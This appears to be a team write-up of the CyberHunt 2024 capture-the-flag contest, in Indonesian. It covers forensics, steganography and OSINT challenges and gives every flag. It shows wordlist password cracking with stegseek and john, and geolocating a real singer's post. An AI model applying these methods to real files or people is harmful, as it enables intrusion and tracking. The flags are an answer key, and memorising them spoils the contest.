Pada program, token dilakukan xor yang kemungkinan resultnya adalah flag. karena kami tahu bahwa format flagnya CYHUNT24 Kami bisa menggunakan ini untuk mendapatkan key nya dan untungnya key hanya mempunyai panjang 3 karakter.

key nya adalah key, lanjut kami menggunakan key ini unduk decode xor nya.

Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng}

Digital Forensic

barang bukti

Diberikan sebuah file APK with classes.dex. Kami pun mengekstraknya, lalu masuk ke directorynya. Berhubung pada deskripsinya meminta chat_id, kami pun menjalankan perintah grep -ra β€˜chat_id’.

Flag: CYHUNT24{6350386314}

kena heck

Diberikan sebuah log pcapng, kami mencoba untuk mencari flag dengan strings.

Flag: CYHUNT24{usb_my_fav_St0rage}

Flagstorage

Diberikan sebuah file flag.pptx. Kami pun langsung mengekstraknya. Setelah itu kami masuk ke directorynya dan cari flagnya dengan grep -ra β€˜CYHUNT.

Flag: CYHUNT24{didyoukn0w_that_officed0cs_us1ng_pkzip_head3r?}

Lookin’ for Secrets

Diberikan sebuah file zip, yang ketika diekstrak akan mengeluarkan sangat banyak folder. Berdasarkan namanya, folder folder tersebut terlihat seperti folder windows. Kami pun mencoba untuk langsung mencari flagnya dengan grep. Commandnya sebagai berikut : grep -ra β€˜CYHUNT’

Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35}

tebak aku

basically kita pake password yg ada di log untuk ngebrute zip nya pakai john

dan dpt sfwhfuwghwbgrgsdnvsjvs

dpt ni ada hex kita decode aja dpt flagnya

Flag: CYHUNT24{tetap_ilmu_padi_abangku}

IMG

Diberikan sebuah gambar logo Cyber Specters, kami pun membukanya dengan Aperisolve.

Flag: CYHUNT24{masih_pemanasan_iniii}

Steg

stegseek stegkeknya.jpeg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "cyber"

[i] Original filename: "flag.txt".

[i] Extracting to "stegkeknya.jpeg.out".

cat stegkeknya.jpeg.out

CYHUNT24{masih_easy-lahh_yaaa}

Flag: CYHUNT24{masih_easy-lahh_yaaa}

bit/bit

kita extract aj filenya dan kita zsteg file 29512…jpg nya

Flag: CYHUNT24{1n_god_w3_trust}

rumah makan on day monday

kita stegseek

stegseek mencoba-kesempatan-ke-2-kali_4.jpg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt

muncul txt huruf jepang dan nomer, kita extract nomernya dan jadiin ascii

Flag: CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}

Child’s Play

disini terdapat sebuah png, tapi hexnya broken kita lgsg fix aja dibagian header dan footernya , cek menggunakan nayuki.io dan ini perbandingan fixed dan aslinya

Flag: CYHUNT24{br0ken_h3x_i5_EasY}

Huh Its Me Again

terdapat deskripsi csgo/forsaken ( kita bisa asumsi word.exe ) karna forsaken memakai cheat dgn menyamarkan nama nya jadi word.exe , lgsg krna ini dfir kepikiran artifact word yaitu template Normal.dotm, lgsg saya cari normal.dotm nya

dan bener ada macros disini

keliatan beberapa hex dan pas saya concrate semua hexnya jadi base64 dan pas saya decode dpt flagnya

Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly}

ayo maen bola

Dari hint yang diberikan bahwa gambar ini sudah disisipi sebuah text dengan metode lsb, langsung saja ini solver yang kami buat.

img = open("2side.jpg", "rb").read()

binary = [format(byte, '08b') for byte in img]

p = ""

for i in binary:

p += i[len(i)-1:]

print(p)

dan ketika kami decode binernya.

Flag: CYHUNT24{T0pP_SLUR}

Osint

no feedback

Lalu kami search di google β€œSikapmu seakan-akan menyuruh diriku pergi Tapi perkataanmu seolah aku penting bagimu”

Lagu tersebut milik Lyodra Ginting. Setelah itu kami mencari instagramnya lalu kami cari postingan di tanggal 15/04/2024.

Pada tanggal tersebut, Lyodra sedang berada di AYANA Komodo Waecicu Beach. Kami pun mencari lokasi tersebut di google.

Flag: CYHUNT24{86554}

citylight

Kami pun membuka gambar tersebut di lens.google.com.

Dari google lens, kami mendapatkan info bahwa tempat tersebut adalah Kairos Coffee yang berada di Semarang, kami pun melihatnya di Google Maps untuk kode plus lokasinya.

Flag: CYHUNT24{X9X4+69}

Koko Doko?

Terlihat terdapat plang β€œToko Marbun”, kami pun mencarinya di google maps dan ketemu Toko Marbun. Ini adalah titik koordinatnya.

Flag: CYHUNT24{-6.454,106.672}

old pict

diberikan satu file hint berupa base64 dan image

intinya dari foto tersebut kita mencari cari tempat kolam renang yang ada dan kita menemukan untuk foto yang sama. Dan flag nya terdapat pada ulasannya

Flag: CYHUNT24{hehehe_congrats////}

masalalu

Kami pun mencari url web jkt48.

Setelah itu, kami mencari jkt48.com pada web.archive.org.

Flag: CYHUNT24{23_09_2011}

searchengine

Kami pun mencari situs yang dimaksud di google.

Setelah itu, kami cari username @Cicix-Xi di quora.

Flag: CYHUNT24{3h_ketemu_d1sini}

Ingris Berduka

Diberikan file foto seperti berikut

oke mari kita gunakan google earth untuk menyelesaikannya.

setelah sedikit mengulik kita berhasil mendapatkan flagnya.

di url berikut

google earth

Flag: CYHUNT24{10665}

Destinasi

Kami coba cari di Google Maps, dan ketemu bahwa nama tempatnya adalah Obelix Sea View.

Flag: CYHUNT24{Obelix_Sea_View}

OSIG

Berdasarkan deskripsi dan judul challnya, saya langsung terpikirkan pada postingan Cyber Specters di IG yang membahas tentang CTF.

Flag: CYHUNT24{EASY_CHALL_OSINT}

CyberHunt 2024 | N2L